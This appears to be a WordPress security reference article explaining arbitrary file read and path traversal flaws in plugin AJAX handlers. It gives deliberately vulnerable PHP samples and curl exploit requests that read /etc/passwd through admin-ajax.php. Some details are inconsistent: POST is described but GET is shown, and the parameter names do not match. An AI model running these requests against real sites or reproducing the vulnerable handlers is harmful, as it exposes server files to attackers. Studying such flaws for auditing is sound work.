Skip to content

Arbitrary File Read

Introduction

This article covers cases of possible Arbitrary File Read on WordPress. This includes improper file fetch handling inside of the plugin/theme which can be used to read arbitrary local files inside of the server.

Useful Functions

Several functions could be useful to identify a possible Arbitrary File Read vulnerability:

Example Cases

Below is an example of vulnerable code:

add_action("wp_ajax_get_file", "ajax_get_file");
public function ajax_get_file(){
global $wp_filesystem;
// Make sure that the above variable is properly setup.
require_once ABSPATH . 'wp-admin/includes/file.php';
WP_Filesystem();
$url = $_GET["url"];
$data = $wp_filesystem->get_contents($url);
$data = json_encode( $data );
echo $data;
die();
}

To exploit this, any authenticated user just needs to perform a POST request to the /wp-admin/admin-ajax.php endpoint specifying the needed parameter to trigger the WP_Filesystem_Direct::get_contents function.

Terminal window
curl '<WORDPRESS_BASE_URL/wp-admin/admin-ajax.php?action=get_file&url=/etc/passwd' -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'

Below are some of the findings related to Arbitrary File Read:

Path Traversal

Path traversal is a vulnerability that allows attackers to access files outside the intended directory by traversing file paths. Path traversal can be used to exploit the arbitrary file read when the file read is limited to a specific directory.

Example Cases

Below is an example of vulnerable code:

add_action("wp_ajax_get_file_of_a_directory", "get_file_of_a_directory");
public function get_file_of_a_directory(){
$file = $_GET["file"];
$file_content = file_get_contents(get_template_directory(). $file);
echo $file_content;
}

To exploit this, any authenticated user needs to perform a POST request to the /wp-admin/admin-ajax.php endpoint. The value of the $_GET['file'] should be traversed backward using /../../ to access the files in another directory.

Terminal window
curl '<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=get_file_of_a_directory&url=/../../../../../../../etc/passwd' -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'

Contributors

rafiem